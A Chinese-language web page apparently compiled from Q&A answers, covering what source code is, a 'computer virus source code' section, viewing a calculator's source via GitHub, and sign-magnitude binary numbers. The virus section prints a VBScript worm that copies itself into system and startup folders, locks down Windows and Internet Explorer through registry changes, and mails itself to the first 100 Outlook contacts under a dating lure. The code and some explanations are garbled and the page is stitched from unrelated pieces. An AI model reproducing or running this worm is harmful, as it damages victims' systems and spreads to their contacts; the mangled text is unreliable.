1. 源码 是个什么东西 电脑上面下载的软件(qq、迅雷之类的)包含源码吗
源码就是编写程序时的源程序代码,把编写的程序代码封装起来做成安装程序,就是你看到的电脑上面下载的软件了。一些封装的源码受保护是看不到的,然是使用编程软件如vs等,将程序拖到软件窗体下,就可以看到它的代码了。这就像是我们人体:由很多不同的组织结构构成,如骨骼,肌肉等等,封装在一起就一个个完整的人,你从整体外观上看不到他们单独的某一部分,但是如果解剖了的话,还是可以看到的。哈哈,这个例子不太合适,但是大致是这个意思。不实现不同功能的源码组合封装在一起就构成了一个应用程序
2. 电脑病毒源代码介绍
电脑中了病毒想从它的源代码入手怎么办呢!有我在,下面由我给你做出详细的电脑病毒源代码介绍!希望对你有帮助!
电脑病毒源代码介绍:
电脑病毒源代码一:
on error resume next
set fs=createobject("ing.filesystemobject" '创建一个能与 操作系统 沟通的对象,再利用该对象的各种 方法 对注册表进行操作
set dir1=fs.getspecialfolder(0) '获取windows/winnt文件夹位置
set dir2=fs.getspecialfolder(1) '获取system32/system文件夹位置
set so=createobject("ing.filesystemobject"
dim r '定义一个变量
set r=createobject("w.shell"
so.getfile(w.fullname).(dir1&"win32system.vbs" '复制病毒副本到windows/winnt文件夹位置
so.getfile(w.fullname).(dir2&"win32system.vbs" '复制病毒副本到system32/system文件夹位置
so.getfile(w.fullname).(dir1&"start menuprograms启动win32system.vbs" '复制病毒副本到start menu启动菜单
'下面是对注册表的恶意修改和简单的依靠oe传播
r.regwrite " orun",1,"reg_dword" '修改注册表,禁止“运行”菜单
r.regwrite " oclose",1,"reg_dword" '修改注册表,禁止“关闭”菜单
r.regwrite " odrives",63000000,"reg_dword" '修改注册表,隐藏所有逻辑盘符
r.regwrite "ytools",1,"reg_dword" '修改注册表,禁止注册表编辑
r.regwrite " unscanregistry","" '修改注册表,禁止开机注册表扫描
r.regwrite " ologoff",1,"reg_dword" '修改注册表,禁止“注销”菜单
r.regwrite " orealmode",1,"reg_dword" '修改注册表,禁止ms-dos实模式
r.regwrite " unwin32system","win32system.vbs" '修改注册表,使这个脚本本身开机自动运行
r.regwrite " odesktop",1,"reg_dword" '修改注册表,禁止显示桌面图标
r.regwrite "disabled",1,"reg_dword" '修改注册表,禁止纯dos模式
r.regwrite " osettaskbar",1,"reg_dword" '修改注册表,禁止“任务栏和开始”菜单
r.regwrite " oviewcontextmenu",1,"reg_dword" '修改注册表,禁止右键菜单
电脑病毒源代码二:
r.regwrite " osetfolders",1,"reg_dword" '修改注册表,禁止控制面板
r.regwrite "hklmsoftwareclasses.reg","txtfile" '修改注册表,禁止导入使用.reg文件,改为用txt文件的关联
r.regwrite "winlogonlegalnoticecaption","警告" '设置开机提示框标题
r.regwrite "winlogonlegalnoticetext","您中vbs脚本病毒了,哭吧~" '设置开机提示框文本内容
set ol=createobject("outlook.application" '创建outlook文件对象用于传播
on error resume next
for x=1 to 100
set mail=ol.createitem(0)
mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) '用于向地址簿的前100名发送此 vbs病毒,可以算是简单弱智的蠕虫了吧~~
mail.subject="今晚你来吗?" '邮件主题
mail.body="朋友你好:您的朋友rose给您发来了热情的邀请。具体情况请阅读随信附件,祝您好运! 同城约会网" '邮件内容
mail.attachments.add(dir2&"win32system.vbs"
mail.send
next
ol.quit
'下面是对internet explore 选项的恶意修改
r.regwrite " explorer estrictions obrowsercontextmenu",1,"reg_dword" '修改注册表,禁止鼠标右键
r.regwrite " explorer estrictions obrowseroptions",1,"reg_dword" '修改注册表,禁止internet选项
r.regwrite " explorer estrictions obrowsersaveas",1,"reg_dword" '修改注册表,禁止“另存为”
r.regwrite " explorer estrictions ofileopen",1,"reg_dword" '修改注册表,禁止“文件/打开”菜单
r.regwrite " explorercontrol paneladvanced",1,"reg_dword" '修改注册表,禁止更改高级页设置
r.regwrite " explorercontrol panelcache internet",1,"reg_dword" '修改注册表,禁止更改临时文件设置
r.regwrite " explorercontrol panelautoconfig",1,"reg_dword" '修改注册表,禁止更改自动配置
r.regwrite " explorercontrol panelhomepage",1,"reg_dword" '修改注册表,禁止更改主页,即“主页”变灰
r.regwrite " explorercontrol panelhistory",1,"reg_dword" '修改注册表,禁止更改历史记录设置
r.regwrite " explorercontrol panelconnwiz admin lock",1,"reg_dword" '修改注册表,禁止更改internet连接向导
r.regwrite " explorercontrol panelsecuritytab",1,"reg_dword" '修改注册表,禁止更改安全项
r.regwrite " explorercontrol panel esetwebsettings",1,"reg_dword" '修改注册表,禁止“重置web设置”
r.regwrite " explorer estrictions oviewsource",1,"reg_dword" '修改注册表,禁止查看源文件
r.regwrite " explorerinfodelivery estrictions oaddingsubions",1,"reg_dword" '修改注册表,禁止添加脱机计划
3. 如何查看电脑上某程序的源代码 如计算器
可以通过GitHub源代码ping在计算机中检查计算器的源代码。具体操作方式如下:
1、进入GitHub的Microsoft个人问题主页,如下图所示。
(3)实用电脑源码扩展阅读:
GitHub的Windows应用
GitHub 使用 git 分布式版本控制系统,而 git 最初是 LinusTorvalds 为帮助Linux开发而创造的,它针对的是 Linux 平台,因此 git 和 Windows 从来不是最好的朋友,因为它一点也不像Windows。
GitHub 发布了GitHub for Windows,为 Windows 平台开发者提供了一个易于使用的 Git 图形客户端。
GitHub forWindows是一个 Metro 风格应用程序,集成了自包含版本的 Git,bash 命令行 shell,PowerShell 的 posh-git 扩展。
GitHub 为 Windows 用户提供了一个基本的图形前端去处理大部分常用版本控制任务,可以创建版本库,向本地版本库递交补丁,在本地和远程版本库之间同步。微软也通过CodePlex向开发者提供 git 版本控制系统,而 GitHub 创造了一个更具有吸引力的 Windows 版本。
4. 计算机原码是什么
计算机原码:是一种计算机中对数字的二进制定点表示方法。
特点:原码表示法在数值前面增加了一位符号位(即最高位为符号位):正数该位为0,负数该位为1(0有两种表示:+0和-0),其余位表示数值的大小。
举例说明应用场景:我们用8位二进制表示一个数,+11的原码为00001011,-11的原码就是10001011
源码的缺点:原码不能直接参加运算,可能会出错。
例如:数学上,1+(-1)=0,而在二进制中原码00000001+10000001=10000010,换算成十进制为-2。显然出错了